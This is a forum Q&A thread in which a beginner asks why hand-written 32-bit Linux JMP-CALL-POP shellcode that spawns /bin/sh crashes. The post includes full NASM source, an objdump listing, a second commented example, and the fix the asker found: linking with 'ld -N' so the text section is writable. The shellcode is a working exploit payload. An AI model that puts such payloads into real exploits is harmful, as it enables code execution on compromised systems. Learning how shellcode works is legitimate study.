0

I write this shellcode for spawn a shell on the box using JMP-CALL-POP technique but i keep got this error i don't now why !!

Segmentation fault (core dumped)

my shellcode :

section .text

global _start

_start:

jmp short qan           

sh:

pop              esi               
xor              ebx, ebx          
mov byte         [esi + 7], al          
mov dword        [esi + 8], esi    
mov dword        [esi + 12], ebx   

lea ebx , [esi]
lea ecx , [esi + 8]
lea edx , [esi+12]

xor eax , eax 
mov bl , 11
int 0x80

qan:
call            sh            

shell: db              '/bin/sh#AAAABBBB'

i got this error : Segmentation fault (core dumped)

i checked it by objdump for null bytes and did not found any :D

arg:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:   eb 1a                   jmp    804807c <qan>

08048062 <sh>:
 8048062:   5e                      pop    esi
 8048063:   31 db                   xor    ebx,ebx
 8048065:   88 46 07                mov    BYTE PTR [esi+0x7],al
 8048068:   89 76 08                mov    DWORD PTR [esi+0x8],esi
 804806b:   89 5e 0c                mov    DWORD PTR [esi+0xc],ebx
 804806e:   8d 1e                   lea    ebx,[esi]
 8048070:   8d 4e 08                lea    ecx,[esi+0x8]
 8048073:   8d 56 0c                lea    edx,[esi+0xc]
 8048076:   31 c0                   xor    eax,eax
 8048078:   b3 0b                   mov    bl,0xb
 804807a:   cd 80                   int    0x80

0804807c <qan>:
 804807c:   e8 e1 ff ff ff          call   8048062 <sh>

08048081 <shell>:
 8048081:   2f                      das    
 8048082:   62 69 6e                bound  ebp,QWORD PTR [ecx+0x6e]
 8048085:   2f                      das    
 8048086:   73 68                   jae    80480f0 <shell+0x6f>
 8048088:   23 41 41                and    eax,DWORD PTR [ecx+0x41]
 804808b:   41                      inc    ecx
 804808c:   41                      inc    ecx
 804808d:   42                      inc    edx
 804808e:   42                      inc    edx
 804808f:   42                      inc    edx
 8048090:   42                      inc    edx

then i try to test the another shellcode writen by Vivek Ramachandran , the same error :

global _start
section .text

_start:
    jmp short call_shellcode

shellcode:
    ; JMP - CALL - POP  =  ESI now contains message
    pop esi

    ; Zero out the EBX register (will be used for filename)
    xor ebx, ebx

    ; Move BL (0x0) into [ESI+9] (the "A" in message) to null terminate /bin/bash
    mov byte [esi+9], bl

    ; Move ESI (the location of /bin/bash) into [ESI+10] (the "BBBB" in message)
    mov dword [esi+10], esi

    ; Move EBX (0x00000000) into [ESI+10] (the "CCCC" in message)
    mov dword [esi+14], ebx

    ; Load the null-terminated "/bin/bash" string into EBX for execve's filename
    lea ebx, [esi]

    ; Load the address of /bin/bash into ECX for execve's argv
    lea ecx, [esi+10]

    ; Load the address of the null bytes into EDX for execve's envp
    lea edx, [esi+14]

    ; Zero out the EAX register
    xor eax, eax

    ; Load 11 (sys_execve) into EAX
    mov al, 0xb

    ; Call interrupt 0x80 to execute the syscall
    int 0x80

call_shellcode:
    call shellcode

    ; The CALL places this at the top of the stack
    message db "/bin/bashABBBBCCCC"

Segmentation fault (core dumped)

my system details ( Ubuntu 16.04.5 LTS x86 ) i just compile my asm file by :

nasm -f elf32 -o addr.o addr.asm

then

ld -o addr addr.o

i run it .. got :

Segmentation fault (core dumped)

  • This question is unanswerable without details about the target application (disassembly of vulnerability location, what protections are in use, etc.) and the crash itself (faulting IP, registers, stack trace, etc.) - even then it's a long shot. – Polynomial Feb 18 at 19:42
  • i add more details check – evilcode1 Feb 18 at 20:11
  • You did not add the details I mentioned. The error "Segmentation fault (core dumped)" is useless in this case; it could be literally anything. – Polynomial Feb 19 at 11:40
  • how i can get this details ?? im new in shellcodinng !! – evilcode1 Feb 19 at 18:11
0

ookkk the code is okay the problem is solved :D by giving writing permission for the .TEXT section ...

not work :

ld -o addr addr.o

> [ 1] .text             PROGBITS        08048060 000060 000037 00  AX 0   0 16

work :

ld -N -o addr addr.o

 [ 1] .text             PROGBITS        08048060 000060 000037 00 WAX  0   0 16

-N --omagic Set the text and data sections to be readable and writable.

enter image description here

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.